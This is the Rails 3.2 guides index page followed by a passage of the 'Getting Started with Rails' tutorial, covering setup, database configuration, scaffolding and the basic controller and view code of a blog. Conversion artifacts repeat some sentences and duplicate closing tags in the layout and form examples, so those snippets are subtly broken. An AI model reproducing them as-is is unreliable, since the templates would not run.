Guides.rubyonrails.org

Ruby on Rails Guides (v3.2.2)

These are the new guides for Rails 3.2 based on **v3.2.2**. These guides are designed to make you immediately productive with Rails, and to help you understand how all of the pieces fit together.

The guides for Rails 2.3.x are available at **http://guides.rubyonrails.org/v2.3.11/**.

> Rails Guides are also available for the **Kindle** and **Free Kindle Reading Apps** for the iPad, iPhone, Mac, Android, etc. Download them from **here**.
> Guides marked with this icon are currently being worked on. While they might still be useful to you, they may contain incomplete information and even errors. You can help by reviewing them and posting your comments and corrections to the author.

Start Here

Getting Started with Rails

> Everything you need to know to install Rails and create your first application.

Models

Rails Database Migrations

> This guide covers how you can use Active Record migrations to alter your database in a structured and organized manner.

Active Record Validations and Callbacks

> This guide covers how you can use Active Record validations and callbacks.

Active Record Associations

> This guide covers all the associations provided by Active Record.

Active Record Query Interface

> This guide covers the database query interface provided by Active Record.

Views

Layouts and Rendering in Rails

> This guide covers the basic layout features of Action Controller and Action View, including rendering and redirecting, using content_for blocks, and working with partials.

Action View Form Helpers

> Guide to using built-in Form helpers.

Controllers

Action Controller Overview

> This guide covers how controllers work and how they fit into the request cycle in your application. It includes sessions, filters, and cookies, data streaming, and dealing with exceptions raised by a request, among other topics.

Rails Routing from the Outside In

> This guide covers the user-facing features of Rails routing. If you want to understand how to use routing in your

This guide covers the user-facing features of Rails routing. If you want to understand how to use routing in your own Rails applications, start here.

Digging Deeper

Active Support Core Extensions

This guide documents the Ruby core extensions defined in Active Support.

Rails Internationalization API

This guide covers how to add internationalization to your applications. Your application will be able to translate content to different languages, change pluralization rules, use correct date formats for each country and so on.

Action Mailer Basics

Work in progress

This guide describes how to use Action Mailer to send and receive emails.

Testing Rails Applications

Work in progress

This is a rather comprehensive guide to doing both unit and functional tests in Rails. It covers everything from 'What is a test?' to the testing APIs. Enjoy.

Securing Rails Applications

This guide describes common security problems in web applications and how to avoid them with Rails.

Debugging Rails Applications

This guide describes how to debug Rails applications. It covers the different ways of achieving this and how to understand what is happening "behind the scenes" of your code.

Performance Testing Rails Applications

This guide covers the various ways of performance testing a Ruby on Rails application.

Configuring Rails Applications

This guide covers the basic configuration settings for a Rails application.

Rails Command Line Tools and Rake Tasks

This guide covers the command line tools and rake tasks provided by Rails.

Caching with Rails

Work in progress

Various caching techniques provided by Rails.

Asset Pipeline

This guide documents the asset pipeline.

The Rails Initialization Process

Work in progress

This guide explains the internals of the Rails initialization process as of Rails 3.1

Extending Rails

The Basics of Creating Rails Plugins

Work in progress

This guide covers how to build a plugin to extend the functionality of Rails.

Rails on Rack

This guide covers Rails integration with Rack and interfacing with other Rack components.

Creating and Customizing Rails Generators

This guide covers the process of adding a brand new generator to your extension or providing an alternative to an element of a built-in Rails generator (such as providing alternative test stubs for the scaffold generator).

Contributing to Ruby on Rails

Contributing to Ruby on Rails

Rails is not 'somebody else's framework.' This guide covers a variety of ways that you can get involved in the ongoing development of Rails.

API Documentation Guidelines

This guide documents the Ruby on Rails API documentation guidelines.

Ruby on Rails Guides Guidelines

This guide documents the Ruby on Rails guides guidelines.

Release Notes

Ruby on Rails 3.2 Release Notes

Release notes for Rails 3.2.

Ruby on Rails 3.1 Release Notes

Release notes for Rails 3.1.

Ruby on Rails 3.0 Release Notes

Release notes for Rails 3.0.

Ruby on Rails 2.3 Release Notes

Release notes for Rails 2.3.

Ruby on Rails 2.2 Release Notes

Release notes for Rails 2.2.

Feedback

You're encouraged to help improve the quality of this guide.

If you see any typos or factual errors you are confident to patch, please clone **docrails** and push the change yourself. That branch of Rails has public write access. Commits are still reviewed, but that happens after you've submitted your contribution. **docrails** is cross-merged with master periodically.

You may also find incomplete content, or stuff that is not up to date. Please do add any missing documentation for master. Check the **Ruby on Rails Guides Guidelines** for style and conventions.

If for whatever reason you spot something to fix but cannot patch it yourself, please **open an issue**.

And last but not least, any kind of discussion regarding Ruby on Rails documentation is very welcome in the **rubyonrails-docs mailing list**.

Guides.rubyonrails.org

Getting Started with Rails

This guide covers getting up and running with Ruby on Rails. After reading it, you should be familiar with:

- Installing Rails, creating a new Rails application, and connecting your application to a database
- The general layout of a Rails application
- The basic principles of MVC (Model, View Controller) and RESTful design
- How to quickly generate the starting pieces of a Rails application

Chapters

1. Guide Assumptions
2. What is Rails?
    - The MVC Architecture
    - The Components of Rails
    - REST
3. Creating a New Rails Project
    - Installing Rails
    - Creating the Blog Application
    - Configuring a Database
    - Creating the Database
4. Hello, Rails!
    - Starting up the Web Server
    - Say “Hello”, Rails
    - Setting the Application Home Page
5. Getting Up and Running Quickly with Scaffolding
6. Creating a Resource
    - Running a Migration
    - Adding a Link
    - Working with Posts in the Browser
    - The Model
    - Adding Some Validation
    - Using the Console
    - Listing All Posts
    - Customizing the Layout
    - Creating New Posts
    - Showing an Individual Post
    - Editing Posts
    - Destroying a Post
7. Adding a Second Model
    - Generating a Model
    - Associating Models
    - Adding a Route for Comments
    - Generating a Controller
8. Refactoring
    - Rendering Partial Collections
    - Rendering a Partial Form
9. Deleting Comments
    - Deleting Associated Objects
10. Security
11. Building a Multi-Model Form
12. View Helpers
13. What’s Next?
14. Configuration Gotchas

This Guide is based on Rails 3.1. Some of the code shown here will not work in earlier versions of Rails.

1 Guide Assumptions

This guide is designed for beginners who want to get started with a Rails application from scratch. It does not assume that you have any prior experience with Rails. However, to get the most out of it, you need to have some prerequisites installed:

- The **Ruby** language version 1.8.7 or higher

Note that Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails 3.0. Ruby Enterprise Edition have these fixed since release 1.8.7-2010.02 though. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults on Rails 3.0, so if you want to use Rails 3 with 1.9.x jump on 1.9.2 for smooth sailing.

- The **RubyGems** packaging system
  - If you want to learn more about RubyGems, please read the **RubyGems User Guide**
- A working installation of the **SQLite3 Database**

Rails is a web application framework running on the Ruby programming language. If you have no prior experience with Ruby, you will find a very steep learning curve diving straight into Rails. There are some good free resources on the internet for learning Ruby, including:

- **Mr. Neighborly's Humble Little Ruby Book**
- **Programming Ruby**
- **Why's (Poignant) Guide to Ruby**

Also, the example code for this guide is available in the rails github:https://github.com/rails/rails repository in rails/railties/guides/code/getting_started.

2 What is Rails?

This section goes into the background and philosophy of the Rails framework in detail. You can safely skip this section and come back to it at a later time. Section 3 starts you on the path to creating your first Rails application.

Rails is a web application development framework written in the Ruby language. It is designed to make programming web applications easier by making assumptions about what every developer needs to get started. It allows you to write less code while accomplishing more than many other languages and frameworks. Experienced Rails developers also report that it makes web application development more fun.

Rails is opinionated software. It makes the assumption that there is a "best" way to do things, and it's designed to encourage that way – and in some cases to discourage alternatives. If you learn "The Rails Way" you'll probably discover a tremendous increase in productivity. If you persist in bringing old habits from other languages to your Rails development, and trying to use patterns you learned elsewhere, you may have a less happy experience.

The Rails philosophy includes several guiding principles:

- DRY – "Don't Repeat Yourself" – suggests that writing the same code over and over again is a bad thing.
- Convention Over Configuration – means that Rails makes assumptions about what you want to do and how you're going to do it, rather than requiring you to specify every little thing through endless configuration files.
- REST is the best pattern for web applications – organizing your application around resources and standard HTTP verbs is the fastest way to go.

2.1 The MVC Architecture

At the core of Rails is the Model, View, Controller architecture, usually just called MVC. MVC benefits include:

- Isolation of business logic from the user interface
- Ease of keeping code DRY
- Making it clear where different types of code belong for easier maintenance

2.1.1 Models

A model represents the information (data) of the application and the rules to manipulate that data. In the case of Rails, models are primarily used for managing the rules of interaction with a corresponding database table. In most cases,

each table in your database will correspond to one model in your application. The bulk of your application's business logic will be concentrated in the models.

2.1.2 Views

Views represent the user interface of your application. In Rails, views are often HTML files with embedded Ruby code that perform tasks related solely to the presentation of the data. Views handle the job of providing data to the web browser or other tool that is used to make requests from your application.

2.1.3 Controllers

Controllers provide the "glue" between models and views. In Rails, controllers are responsible for processing the incoming requests from the web browser, interrogating the models for data, and passing that data on to the views for presentation.

2.2 The Components of Rails

Rails ships as many individual components. Each of these components are briefly explained below. If you are new to Rails, as you read this section, don't get hung up on the details of each component, as they will be explained in further detail later. For instance, we will bring up Rack applications, but you don't need to know anything about them to continue with this guide.

- Action Pack
  - Action Controller
  - Action Dispatch
  - Action View
- Action Mailer
- Active Model
- Active Record
- Active Resource
- Active Support
- Railties

2.2.1 Action Pack

Action Pack is a single gem that contains Action Controller, Action View and Action Dispatch. The "VC" part of "MVC".

2.2.1.1 Action Controller

Action Controller is the component that manages the controllers in a Rails application. The Action Controller framework processes incoming requests to a Rails application, extracts parameters, and dispatches them to the intended action. Services provided by Action Controller include session management, template rendering, and redirect management.

2.2.1.2 Action View

Action View manages the views of your Rails application. It can create both HTML and XML output by default. Action View manages rendering templates, including nested and partial templates, and includes built-in AJAX support. View templates are covered in more detail in another guide called **Layouts and Rendering**.

2.2.1.3 Action Dispatch

Action Dispatch handles routing of web requests and dispatches them as you want, either to your application or any other Rack application. Rack applications are a more advanced topic and are covered in a separate guide called **Rails on Rack**.

2.2.2 Action Mailer

Action Mailer is a framework for building e-mail services. You can use Action Mailer to receive and process incoming email and send simple plain text or complex multipart emails based on flexible templates.

2.2.3 Active Model

Active Model provides a defined interface between the Action Pack gem services and Object Relationship Mapping gems such as Active Record. Active Model allows Rails to utilize other ORM frameworks in place of Active Record if your application needs this.

2.2.4 Active Record

Active Record is the base for the models in a Rails application. It provides database independence, basic CRUD functionality, advanced finding capabilities, and the ability to relate models to one another, among other services.

2.2.5 Active Resource

Active Resource provides a framework for managing the connection between business objects and RESTful web services. It implements a way to map web-based resources to local objects with CRUD semantics.

2.2.6 Active Support

Active Support is an extensive collection of utility classes and standard Ruby library extensions that are used in Rails, both by the core code and by your applications.

2.2.7 Railties

Railties is the core Rails code that builds new Rails applications and glues the various frameworks and plugins together in any Rails application.

2.3 REST

Rest stands for Representational State Transfer and is the foundation of the RESTful architecture. This is generally considered to be Roy Fielding's doctoral thesis, **Architectural Styles and the Design of Network-based Software Architectures**. While you can read through the thesis, REST in terms of Rails boils down to two main principles:

- Using resource identifiers such as URLs to represent resources.
- Transferring representations of the state of that resource between system components.

For example, the following HTTP request:

```
DELETE /photos/17
```

would be understood to refer to a photo resource with the ID of 17, and to indicate a desired action – deleting that resource. REST is a natural style for the architecture of web applications, and Rails hooks into this shielding you from many of the RESTful complexities and browser quirks.

If you'd like more details on REST as an architectural style, these resources are more approachable than Fielding's thesis:

- **A Brief Introduction to REST** by Stefan Tilkov
- **An Introduction to REST** (video tutorial) by Joe Gregorio
- **Representational State Transfer** article in Wikipedia
- **How to GET a Cup of Coffee** by Jim Webber, Savas Parastatidis & Ian Robinson

3 Creating a New Rails Project

The best way to use this guide is to follow each step as it happens, no code or step needed to make this example application has been left out, so you can literally follow along step by step. You can get the complete code **here**.

By following along with this guide, you'll create a Rails project called `blog`, a (very) simple weblog. Before you can start building the application, you need to make sure that you have Rails itself installed.

The examples below use # and $ to denote terminal prompts. If you are using Windows, your prompt will look something like c:\source_code>

3.1 Installing Rails

In most cases, the easiest way to install Rails is to take advantage of RubyGems:

```
Usually run this as the root user:
```

```
# gem install rails
```

If you're working on Windows, you can quickly install Ruby and Rails with **Rails Installer**.

To verify that you have everything installed correctly, you should be able to run the following:

```
$ rails --version
```

If it says something like "Rails 3.1.3" you are ready to continue.

3.2 Creating the Blog Application

To begin, open a terminal, navigate to a folder where you have rights to create files, and type:

```
$ rails new blog
```

This will create a Rails application called Blog in a directory called blog.

You can see all of the switches that the Rails application builder accepts by running `rails new -h`.

After you create the blog application, switch to its folder to continue work directly in that application:

```
$ cd blog
```

The 'rails new blog' command we ran above created a folder in your working directory called `blog`. The `blog` folder has a number of auto-generated folders that make up the structure of a Rails application. Most of the work in this tutorial will happen in the `app/` folder, but here's a basic rundown on the function of each of the files and folders that Rails created by default:

File/Folder	Purpose
app/	Contains the controllers, models, views and assets for your application. You'll focus on this folder for the remainder of this guide.
config/	Configure your application's runtime rules, routes, database, and more. This is covered in more detail in **Configuring Rails Applications**
config.ru	Rack configuration for Rack based servers used to start the application.
db/	Contains your current database schema, as well as the database migrations.
doc/	In-depth documentation for your application.
Gemfile Gemfile.lock	These files allow you to specify what gem dependencies are needed for your Rails application.
lib/	Extended modules for your application.
log/	Application log files.
public/	The only folder seen to the world as-is. Contains the static files and compiled assets.
Rakefile	This file locates and loads tasks that can be run from the command line. The task definitions are defined throughout the components of Rails. Rather than changing Rakefile, you should add your own tasks by adding files to the lib/tasks directory of your application.
README.rdoc	This is a brief instruction manual for your application. You should edit this file to tell others what your application does, how to set it up, and so on.
script/	Contains the rails script that starts your app and can contain other scripts you use to deploy or run your application.
test/	Unit tests, fixtures, and other test apparatus. These are covered in **Testing Rails Applications**
tmp/	Temporary files
vendor/	A place for all third-party code. In a typical Rails application, this includes Ruby Gems, the Rails source code (if you optionally install it into your project) and plugins containing additional prepackaged functionality.

3.3 Configuring a Database

Just about every Rails application will interact with a database. The database to use is specified in a configuration file, `config/database.yml`. If you open this file in a new Rails application, you'll see a default database configured to use SQLite3. The file contains sections for three different environments in which Rails can run by default:

- The `development` environment is used on your development/local computer as you interact manually with the application.
- The `test` environment is used when running automated tests.
- The `production` environment is used when you deploy your application for the world to use.

You don't have to update the database configurations manually. If you look at the options of the application generator, you will see that one of the options is named `–database`. This option allows you to choose an adapter from a list of the most used relational databases. You can even run the generator repeatedly: `cd .. && rails new blog –database=mysql`. When you confirm the overwriting of the `config/database.yml` file, your application will be configured for MySQL instead of SQLite. Detailed examples of the common database connections are below.

3.3.1 Configuring an SQLite3 Database

Rails comes with built-in support for **SQLite3**, which is a lightweight serverless database application. While a busy production environment may overload SQLite, it works well for development and testing. Rails defaults to using an SQLite database when creating a new project, but you can always change it later.

Here's the section of the default configuration file (`config/database.yml`) with connection information for the development environment:

```
development:
  adapter: sqlite3
  database: db/development.sqlite3
  pool: 5
  timeout: 5000
```

In this guide we are using an SQLite3 database for data storage, because it is a zero configuration database that just works. Rails also supports MySQL and PostgreSQL "out of the box", and has plugins for many database systems. If you are using a database in a production environment Rails most likely has an adapter for it.

3.3.2 Configuring a MySQL Database

If you choose to use MySQL instead of the shipped SQLite3 database, your `config/database.yml` will look a little different. Here's the development section:

```
development:
  adapter: mysql2
  encoding: utf8
  database: blog_development
  pool: 5
  username: root
  password:
  socket: /tmp/mysql.sock
```

If your development computer's MySQL installation includes a root user with an empty password, this configuration should work for you. Otherwise, change the username and password in the `development` section as appropriate.

3.3.3 Configuring a PostgreSQL Database

If you choose to use PostgreSQL, your `config/database.yml` will be customized to use PostgreSQL databases:

```
development:
  adapter: postgresql
  encoding: unicode
  database: blog_development
  pool: 5
  username: blog
  password:
```

3.3.4 Configuring an SQLite3 Database for JRuby Platform

If you choose to use SQLite3 and are using JRuby, your `config/database.yml` will look a little different. Here's the

development section:

```
development:
  adapter: jdbcsqlite3
  database: db/development.sqlite3
```

3.3.5 Configuring a MySQL Database for JRuby Platform

If you choose to use MySQL and are using JRuby, your `config/database.yml` will look a little different. Here's the development section:

```
development:
  adapter: jdbcmysql
  database: blog_development
  username: root
  password:
```

3.3.6 Configuring a PostgreSQL Database for JRuby Platform

Finally if you choose to use PostgreSQL and are using JRuby, your `config/database.yml` will look a little different. Here's the development section:

```
development:
  adapter: jdbcpostgresql
  encoding: unicode
  database: blog_development
  username: blog
  password:
```

Change the username and password in the `development` section as appropriate.

3.4 Creating the Database

Now that you have your database configured, it's time to have Rails create an empty database for you. You can do this by running a rake command:

```
$ rake db:create
```

This will create your development and test SQLite3 databases inside the `db/` folder.

Rake is a general-purpose command-runner that Rails uses for many things. You can see the list of available rake commands in your application by running `rake -T`.

4 Hello, Rails!

One of the traditional places to start with a new language is by getting some text up on screen quickly. To do this, you need to get your Rails application server running.

4.1 Starting up the Web Server

You actually have a functional Rails application already. To see it, you need to start a web server on your development machine. You can do this by running:

```
$ rails server
```

Compiling CoffeeScript to JavaScript requires a JavaScript runtime and the absence of a runtime will give you an `execjs` error. Usually Mac OS X and Windows come with a JavaScript runtime installed. Rails adds the `therubyracer` gem to Gemfile in a commented line for new apps and you can uncomment if you need it. `therubyrhino` is the recommended runtime for JRuby users and is added by default to Gemfile in apps generated under JRuby. You can investigate about all the supported runtimes at **ExecJS**.

This will fire up an instance of the WEBrick web server by default (Rails can also use several other web servers). To see your application in action, open a browser window and navigate to **http://localhost:3000**. You should see Rails' default information page:

information page.

To stop the web server, hit Ctrl+C in the terminal window where it's running. In development mode, Rails does not generally require you to stop the server; changes you make in files will be automatically picked up by the server.

The "Welcome Aboard" page is the *smoke test* for a new Rails application: it makes sure that you have your software configured correctly enough to serve a page. You can also click on the *About your application's environment* link to see a summary of your application's environment.

4.2 Say "Hello", Rails

To get Rails saying "Hello", you need to create at minimum a controller and a view. Fortunately, you can do that in a single command. Enter this command in your terminal:

```
$ rails generate controller home index
```

If you get a command not found error when running this command, you need to explicitly pass Rails `rails` commands to Ruby: `ruby \path\to\your\application\script\rails generate controller home index`.

Rails will create several files for you, including `app/views/home/index.html.erb`. This is the template that will be used to display the results of the `index` action (method) in the `home` controller. Open this file in your text editor and edit it to contain a single line of code:

```
<h1>Hello, Rails!</h1>
```

4.3 Setting the Application Home Page

Now that we have made the controller and view, we need to tell Rails when we want "Hello Rails!" to show up. In our case, we want it to show up when we navigate to the root URL of our site, **http://localhost:3000**, instead of the "Welcome Aboard" smoke test.

The first step to doing this is to delete the default page from your application:

```
$ rm public/index.html
```

We need to do this as Rails will deliver any static file in the `public` directory in preference to any dynamic content we generate from the controllers.

Now, you have to tell Rails where your actual home page is located. Open the file `config/routes.rb` in your editor. This is your application's *routing file* which holds entries in a special DSL (domain-specific language) that tells Rails how to connect incoming requests to controllers and actions. This file contains many sample routes on commented lines, and one of them actually shows you how to connect the root of your site to a specific controller and action. Find the line beginning with `root :to` and uncomment it. It should look something like the following:

```
Blog::Application.routes.draw do

  #...
  # You can have the root of your site routed with "root"
  # just remember to delete public/index.html.
  root :to => "home#index"
```

The `root :to => "home#index"` tells Rails to map the root action to the home controller's index action.

Now if you navigate to **http://localhost:3000** in your browser, you'll see `Hello, Rails!`.

For more information about routing, refer to **Rails Routing from the Outside In**.

5 Getting Up and Running Quickly with Scaffolding

Rails *scaffolding* is a quick way to generate some of the major pieces of an application. If you want to create the models, views, and controllers for a new resource in a single operation, scaffolding is the tool for the job.

6 Creating a Resource

In the case of the blog application, you can start by generating a scaffold for the Post resource: this will represent a

In the case of the blog application, you can start by generating a scaffold for the Post resource. This will represent a single blog posting. To do this, enter this command in your terminal:

```
$ rails generate scaffold Post name:string title:string content:text
```

The scaffold generator will build several files in your application, along with some folders, and edit `config/routes.rb`. Here's a quick overview of what it creates:

File	Purpose
db/migrate/20100207214725_create_posts.rb	Migration to create the posts table in your database (your name will include a different timestamp)
app/models/post.rb	The Post model
test/unit/post_test.rb	Unit testing harness for the posts model
test/fixtures/posts.yml	Sample posts for use in testing
config/routes.rb	Edited to include routing information for posts
app/controllers/posts_controller.rb	The Posts controller
app/views/posts/index.html.erb	A view to display an index of all posts
app/views/posts/edit.html.erb	A view to edit an existing post
app/views/posts/show.html.erb	A view to display a single post
app/views/posts/new.html.erb	A view to create a new post
app/views/posts/_form.html.erb	A partial to control the overall look and feel of the form used in edit and new views
test/functional/posts_controller_test.rb	Functional testing harness for the posts controller
app/helpers/posts_helper.rb	Helper functions to be used from the post views
test/unit/helpers/posts_helper_test.rb	Unit testing harness for the posts helper
app/assets/javascripts/posts.js.coffee	CoffeeScript for the posts controller
app/assets/stylesheets/posts.css.scss	Cascading style sheet for the posts controller
app/assets/stylesheets/scaffolds.css.scss	Cascading style sheet to make the scaffolded views look better

While scaffolding will get you up and running quickly, the code it generates is unlikely to be a perfect fit for your application. You'll most probably want to customize the generated code. Many experienced Rails developers avoid scaffolding entirely, preferring to write all or most of their source code from scratch. Rails, however, makes it really simple to customize templates for generated models, controllers, views and other source files. You'll find more information in the **Creating and Customizing Rails Generators & Templates** guide.

6.1 Running a Migration

One of the products of the `rails generate scaffold` command is a *database migration*. Migrations are Ruby classes that are designed to make it simple to create and modify database tables. Rails uses rake commands to run migrations, and it's possible to undo a migration after it's been applied to your database. Migration filenames include a timestamp to ensure that they're processed in the order that they were created.

If you look in the `db/migrate/20100207214725_create_posts.rb` file (remember, yours will have a slightly different name), here's what you'll find:

```
class CreatePosts < ActiveRecord::Migration
  def change
    create_table :posts do |t|
      t.string :name
      t.string :title
      t.text :content

      t.timestamps
    end
  end
end
```

The above migration creates a method named `change` which will be called when you run this migration. The action defined in this method is also reversible, which means Rails knows how to reverse the change made by this migration,

in case you want to reverse it later. When you run this migration it will create a `posts` table with two string columns and a text column. It also creates two timestamp fields to allow Rails to track post creation and update times. More information about Rails migrations can be found in the **Rails Database Migrations** guide.

At this point, you can use a rake command to run the migration:

```
$ rake db:migrate
```

Rails will execute this migration command and tell you it created the Posts table.

```
==  CreatePosts: migrating ====================================================
-- create_table(:posts)
   -> 0.0019s
==  CreatePosts: migrated (0.0020s) ===========================================
```

Because you're working in the development environment by default, this command will apply to the database defined in the `development` section of your `config/database.yml` file. If you would like to execute migrations in another environment, for instance in production, you must explicitly pass it when invoking the command: `rake db:migrate RAILS_ENV=production`.

6.2 Adding a Link

To hook the posts up to the home page you've already created, you can add a link to the home page. Open `app/views/home/index.html.erb` and modify it as follows:

```
<h1>Hello, Rails!</h1>
<%= link_to "My Blog", posts_path %>
```

The `link_to` method is one of Rails' built-in view helpers. It creates a hyperlink based on text to display and where to go – in this case, to the path for posts.

6.3 Working with Posts in the Browser

Now you're ready to start working with posts. To do that, navigate to **http://localhost:3000** and then click the "My Blog" link:

This is the result of Rails rendering the `index` view of your posts. There aren't currently any posts in the database, but if you click the `New Post` link you can create one. After that, you'll find that you can edit posts, look at their details, or destroy them. All of the logic and HTML to handle this was built by the single `rails generate scaffold` command.

In development mode (which is what you're working in by default), Rails reloads your application with every browser request, so there's no need to stop and restart the web server.

Congratulations, you're riding the rails! Now it's time to see how it all works.

6.4 The Model

The model file, `app/models/post.rb` is about as simple as it can get:

```
class Post < ActiveRecord::Base
end
```

There isn't much to this file – but note that the `Post` class inherits from `ActiveRecord::Base`. Active Record supplies a great deal of functionality to your Rails models for free, including basic database CRUD (Create, Read, Update, Destroy) operations, data validation, as well as sophisticated search support and the ability to relate multiple models to one another.

6.5 Adding Some Validation

Rails includes methods to help you validate the data that you send to models. Open the `app/models/post.rb` file and edit it:

```
class Post < ActiveRecord::Base
```

```
  validates :name,  :presence => true
  validates :title, :presence => true,
                    :length => { :minimum => 5 }
end
```

These changes will ensure that all posts have a name and a title, and that the title is at least five characters long. Rails can validate a variety of conditions in a model, including the presence or uniqueness of columns, their format, and the existence of associated objects. Validations are covered in detail in **Active Record Validations and Callbacks**

6.6 Using the Console

To see your validations in action, you can use the console. The console is a command-line tool that lets you execute Ruby code in the context of your application:

```
$ rails console
```

The default console will make changes to your database. You can instead open a console that will roll back any changes you make by using `rails console –sandbox`.

After the console loads, you can use it to work with your application's models:

```
>> p = Post.new(:content => "A new post")
=> #<Post id: nil, name: nil, title: nil,
     content: "A new post", created_at: nil,
     updated_at: nil>
>> p.save
=> false
>> p.errors.full_messages
=> ["Name can't be blank", "Title can't be blank", "Title is too short (minimum is 5 characters)"]
```

This code shows creating a new `Post` instance, attempting to save it and getting `false` for a return value (indicating that the save failed), and inspecting the `errors` of the post.

When you're finished, type `exit` and hit `return` to exit the console.

Unlike the development web server, the console does not automatically load your code afresh for each line. If you make changes to your models (in your editor) while the console is open, type `reload!` at the console prompt to load them.

6.7 Listing All Posts

Let's dive into the Rails code a little deeper to see how the application is showing us the list of Posts. Open the file `app/controllers/posts_controller.rb` and look at the `index` action:

```
def index
  @posts = Post.all

  respond_to do |format|
    format.html  # index.html.erb
    format.json  { render :json => @posts }
  end
end
```

`Post.all` returns all of the posts currently in the database as an array of `Post` records that we store in an instance variable called `@posts`.

For more information on finding records with Active Record, see **Active Record Query Interface**.

The `respond_to` block handles both HTML and JSON calls to this action. If you browse to **http://localhost:3000/posts.json**, you'll see a JSON containing all of the posts. The HTML format looks for a view in `app/views/posts/` with a name that corresponds to the action name. Rails makes all of the instance variables from the action available to the view. Here's `app/views/posts/index.html.erb`:

```
<h1>Listing posts</h1>
```

```
<table>
  <tr>
    <th>Name</th>
    <th>Title</th>
    <th>Content</th>
    <th></th>
    <th></th>
    <th></th>
  </tr>

<% @posts.each do |post| %>
  <tr>
    <td><%= post.name %></td>
    <td><%= post.title %></td>
    <td><%= post.content %></td>
    <td><%= link_to 'Show', post %></td>
    <td><%= link_to 'Edit', edit_post_path(post) %></td>
    <td><%= link_to 'Destroy', post, :confirm => 'Are you sure?',
                                     :method => :delete %></td>
  </tr>
<% end %>
</table>

<br />

<%= link_to 'New post', new_post_path %>
```

This view iterates over the contents of the `@posts` array to display content and links. A few things to note in the view:

- `link_to` builds a hyperlink to a particular destination
- `edit_post_path` and `new_post_path` are helpers that Rails provides as part of RESTful routing. You'll see a variety of these helpers for the different actions that the controller includes.

In previous versions of Rails, you had to use `<%=h post.name %>` so that any HTML would be escaped before being inserted into the page. In Rails 3 and above, this is now the default. To get unescaped HTML, you now use `<%= raw post.name %>`.

For more details on the rendering process, see **Layouts and Rendering in Rails**.

6.8 Customizing the Layout

The view is only part of the story of how HTML is displayed in your web browser. Rails also has the concept of `layouts`, which are containers for views. When Rails renders a view to the browser, it does so by putting the view's HTML into a layout's HTML. In previous versions of Rails, the `rails generate scaffold` command would automatically create a controller specific layout, like `app/views/layouts/posts.html.erb`, for the posts controller. However this has been changed in Rails 3. An application specific `layout` is used for all the controllers and can be found in `app/views/layouts/application.html.erb`. Open this layout in your editor and modify the `body` tag to include the style directive below:

```
<!DOCTYPE html>
<html>
<head>
  <title>Blog</title>
  <%= stylesheet_link_tag "application" %>
  <%= javascript_include_tag "application" %>
  <%= csrf_meta_tags %>
</head>
<body style="background: #EEEEEE;">

<%= yield %>

</body>
```

```
</body>
</html>
```

Now when you refresh the `/posts` page, you'll see a gray background to the page. This same gray background will be used throughout all the views for posts.

6.9 Creating New Posts

Creating a new post involves two actions. The first is the `new` action, which instantiates an empty `Post` object:

```
def new
  @post = Post.new

  respond_to do |format|
    format.html  # new.html.erb
    format.json  { render :json => @post }
  end
end
```

The `new.html.erb` view displays this empty Post to the user:

```
<h1>New post</h1>

<%= render 'form' %>

<%= link_to 'Back', posts_path %>
```

The `<%= render 'form' %>` line is our first introduction to *partials* in Rails. A partial is a snippet of HTML and Ruby code that can be reused in multiple locations. In this case, the form used to make a new post is basically identical to the form used to edit a post, both having text fields for the name and title, a text area for the content, and a button to create the new post or to update the existing one.

If you take a look at `views/posts/_form.html.erb` file, you will see the following:

```
<%= form_for(@post) do |f| %>
  <% if @post.errors.any? %>
  <div id="errorExplanation">
    <h2><%= pluralize(@post.errors.count, "error") %> prohibited
     this post from being saved:</h2>
    <ul>
    <% @post.errors.full_messages.each do |msg| %>
      <li><%= msg %></li>
    <% end %>
    </ul>
  </div>
  <% end %>

  <div class="field">
    <%= f.label :name %><br />
    <%= f.text_field :name %>
  </div>
  <div class="field">
    <%= f.label :title %><br />
    <%= f.text_field :title %>
  </div>
  <div class="field">
    <%= f.label :content %><br />
    <%= f.text_area :content %>
  </div>
  <div class="actions">
    <%= f.submit %>
  </div>
<% end %>
```

```
<% end %>
```

This partial receives all the instance variables defined in the calling view file. In this case, the controller assigned the new `Post` object to `@post`, which will thus be available in both the view and the partial as `@post`.

For more information on partials, refer to the **Layouts and Rendering in Rails** guide.

The `form_for` block is used to create an HTML form. Within this block, you have access to methods to build various controls on the form. For example, `f.text_field :name` tells Rails to create a text input on the form and to hook it up to the `name` attribute of the instance being displayed. You can only use these methods with attributes of the model that the form is based on (in this case `name`, `title`, and `content`). Rails uses `form_for` in preference to having you write raw HTML because the code is more succinct, and because it explicitly ties the form to a particular model instance.

The `form_for` block is also smart enough to work out if you are doing a *New Post* or an *Edit Post* action, and will set the form `action` tags and submit button names appropriately in the HTML output.

If you need to create an HTML form that displays arbitrary fields, not tied to a model, you should use the `form_tag` method, which provides shortcuts for building forms that are not necessarily tied to a model instance.

When the user clicks the `Create Post` button on this form, the browser will send information back to the `create` action of the controller (Rails knows to call the `create` action because the form is sent with an HTTP POST request; that's one of the conventions that were mentioned earlier):

```
def create
  @post = Post.new(params[:post])

  respond_to do |format|
    if @post.save
      format.html  { redirect_to(@post,
                    :notice => 'Post was successfully created.') }
      format.json  { render :json => @post,
                    :status => :created, :location => @post }
    else
      format.html  { render :action => "new" }
      format.json  { render :json => @post.errors,
                    :status => :unprocessable_entity }
    end
  end
end
```

The `create` action instantiates a new Post object from the data supplied by the user on the form, which Rails makes available in the `params` hash. After successfully saving the new post, `create` returns the appropriate format that the user has requested (HTML in our case). It then redirects the user to the resulting post `show` action and sets a notice to the user that the Post was successfully created.

If the post was not successfully saved, due to a validation error, then the controller returns the user back to the `new` action with any error messages so that the user has the chance to fix the error and try again.

The "Post was successfully created." message is stored in the Rails `flash` hash (usually just called *the flash*), so that messages can be carried over to another action, providing the user with useful information on the status of their request. In the case of `create`, the user never actually sees any page rendered during the post creation process, because it immediately redirects to the new `Post` as soon as Rails saves the record. The Flash carries over a message to the next action, so that when the user is redirected back to the `show` action, they are presented with a message saying "Post was successfully created."

6.10 Showing an Individual Post

When you click the `show` link for a post on the index page, it will bring you to a URL like `http://localhost:3000/posts/1`. Rails interprets this as a call to the `show` action for the resource, and passes in `1` as the `:id` parameter. Here's the `show` action:

```
def show
  @post = Post.find(params[:id])
```

```
  respond_to do |format|
    format.html  # show.html.erb
    format.json  { render :json => @post }
  end
end
```

The `show` action uses `Post.find` to search for a single record in the database by its id value. After finding the record, Rails displays it by using `app/views/posts/show.html.erb`:

```
<p id="notice"><%= notice %></p>

<p>
  <b>Name:</b>
  <%= @post.name %>
</p>

